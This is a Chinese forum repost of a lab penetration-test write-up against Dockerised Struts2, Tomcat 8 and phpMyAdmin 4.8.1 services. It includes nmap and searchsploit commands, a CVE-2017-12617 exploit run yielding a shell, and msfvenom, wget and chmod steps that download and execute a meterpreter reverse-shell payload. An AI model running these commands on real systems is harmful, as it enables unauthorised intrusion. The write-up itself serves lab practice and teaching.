搜索

[18597] 2021-07-21_实战｜记一次逃逸Docker渗透测试

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-07-21_实战｜记一次逃逸Docker渗透测试 实 战 ｜ 记 一 次 逃 逸 D o c k e r 渗 透 测 试 原 创   b r a d y p o d e r   H A C K 学 习 呀   2 0 2 1 - 0 7 - 2 1 收 录 于 话 题 # d o c k e r   , 1 # 渗 透 测 试   , 1 2 环 境 搭 建 环 境 搭 建 靶 场 ： u b u n t u 内 网 i p ： 1 9 2 . 1 6 8 . 1 8 3 . 1 0 外 网 i p ： 1 9 2 . 1 6 8 . 1 . 6 域 内 主 机 ： w i n 7 ： 1 9 2 . 1 6 8 . 1 8 3 . 1 2 9 w i n 2 0 0 8 ： 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 需 手 动 开 启 u b u n t u 的 d o c k e r 环 境 ， 对 应 的 端 口 服 务 如 下 2 0 0 1   s t r u t s 2 2 0 0 2   t o m c a t 8 2 0 0 3   p h p m y a d m i n   4 . 8 . 1 外 网 打 点 外 网 打 点 端 口 扫 描 端 口 扫 描 首 先 对 u b u n t u 进 行 端 口 扫 描 ， 发 现 2 0 0 1 、 2 0 0 2 、 2 0 0 3 三 个 特 征 端 口 n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 . 6
S t r u t s 2 首 先 访 问 2 0 0 1 端 口 ， 是 一 个 s t r u t s 2 的 框 架 这 里 直 接 使 用 漏 扫 工 具 检 测 s t r u t s 2 有 无 漏 洞 ， 这 里 发 现 存 在 S 2 - 0 4 5 、 S 2 - 0 4 6 两 个 漏 洞
首 先 使 用 S 2 - 0 4 5 看 能 不 能 命 令 执 行 ， 这 里 发 现 返 回 的 是 h t m l
再 换 一 个 S 2 - 0 4 6 漏 洞 发 现 能 够 命 令 回 显 这 里 直 接 尝 试 上 传 一 个 j s p 上 去 试 试 ， 返 回 了 路 径
这 里 访 问 一 下 ， 返 回 了 4 0 4 ， 这 里 我 尝 试 了 其 他 几 个 路 径 都 是 返 回 4 0 4 ， 但 是 S 2 - 0 4 6 这 个 漏 洞 应 该 是 能 拿 到 s h e l l 的 ， 这 里 这 个 端 口 就 没 继 续 进 行 尝 试 了 T o m c a t 8 看 一 下 2 0 0 2 端 口 是 一 个 a p a c h e   t o m c a t 8
这 里 直 接 去 k a l i 上 搜 索 对 应 版 本 的 漏 洞 并 把 漏 洞 检 测 的 p o c 复 制 出 来 使 用 p o c 检 测 是 否 存 在 漏 洞 ， 这 里 发 现 是 存 在 C V E - 2 0 1 7 - 1 2 6 1 7 这 个 漏 洞 的 ， 这 里 的 p o c 原 理 应 该 是 上 传 了 一 个 P o c . j s p 来 判 断 是 否 存 在 漏 洞 s e a r c h s p l o i t   t o m c a t   8 . 5 . 1 9 s e a r c h s p l o i t   - m   / e x p l o i t / j s p / w e b a p p s / 4 2 9 6 6 . p y p y t h o n   4 2 9 6 6 . p y - u   h t t p : / / 1 9 2 . 1 6 8 . 1 . 6 : 2 0 0 2 /
我 们 访 问 一 下 P o c . j s p ， 是 存 在 的 那 么 存 在 漏 洞 ， 直 接 使 用 参 数 进 行 攻 击 ， 这 里 拿 到 了 一 个 反 弹 回 来 的 s h e l l ， 这 里 因 为 是 交 互 型 s h e l l ， 不 太 方 便 下 一 步 的 操 作 ， 这 里 尝 试 着 上 线 m s f - p p y t h o n   4 2 9 6 6 . p y - u   h t t p : / / 1 9 2 . 1 6 8 . 1 . 6 : 2 0 0 2 /   - p   p w n
因 为 是 l i n u x ， 所 以 需 要 生 成 l i n u x 的 木 马 ， 在 k a l i 本 地 起 一 个 h t t p 服 务 方 便 靶 机 下 载 下 载 s h e l l . e l f 并 赋 权 执 行 使 用 m s f 接 收 会 话 ， 上 线 成 功 m s f v e n o m   - p   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 1 0   L P O R T = 4 4 4 4 - f   e l f   >   s h e l l . e l f p y t h o n   - m   S i m p l e H T T P S e r v e r # p y 2 环 境 w g e t   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 : 8 0 0 0 / s h e l l . e l f c h m o d   7 7 7   s h e l l . e l f . / s h e l l . e l f s e t   p a y l o a d   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   l i n u x / x 8 6 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 s e t   l p o r t   4 4 4 4 r u n
p h p m y a d m i n 4 . 8 . 1 访 问 2 0 0 3 端 口 是 一 个 直 接 暴 露 的 p h p m y a d m i n 这 里 对 应 版 本 的 漏 洞 是 C V E - 2 0 1 8 - 1 2 6 1 3 ， 是 一 个 文 件 包 含 的 漏 洞 ， 这 里 看 一 下 漏 洞 的 分 析 首 先 在 如 下 图 所 示 的 i n d e x . p h p 中 存 在 一 处 包 含 指 定 文 件 的 代 码 ：
需 要 成 功 包 含 ， 必 须 满 足 i f 区 间 中 的 五 个 条 件 ： t a r g e t 参 数 值 不 为 空 ； t a r g e t 参 数 值 为 字 符 串 ； t a r g e t 参 数 值 不 以 i n d e x 开 头 ； t a r g e t 参 数 值 不 在 黑 名 单 中 ； 过 c h e c k P a g e V a l i d i t y 函 数 的 检 查 。 其 中 第 四 个 条 件 的 黑 名 单 即 5 1 行 中 i m p o r t . p h p 与 e x p o r t . p h p ； 第 五 个 条 件 需 要 查 看 该 函 数 ： 可 以 看 到 c o r e 类 的 c h e c k P a g e V a l i d i t y 函 数 中 又 必 须 经 过 以 下 的 五 个 判 断 ： 1 、 $ w h i t e l i s t 为 空 就 引 用 申 明 的 $ g o t o _ w h i t e l i s t   2 、 $ p a g e 如 果 没 有 定 义 或 者 $ p a g e 不 为 字 符 串 就 返 回 f a l s e   3 、 $ p a g e 如 果 存 在 在 $ w h i t e l i s t 中 返 回 t r u e   4 、 如 果 $ _ p a g e 存 在 在 $ w h i t e l i s t 中 返 回 t r u e   5 、 经 过 u r l d e c o d e 函 数 解 码 后 的 $ _ p a g e 存 在 在 $ w h i t e l i s t 中 返 回 t r u e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理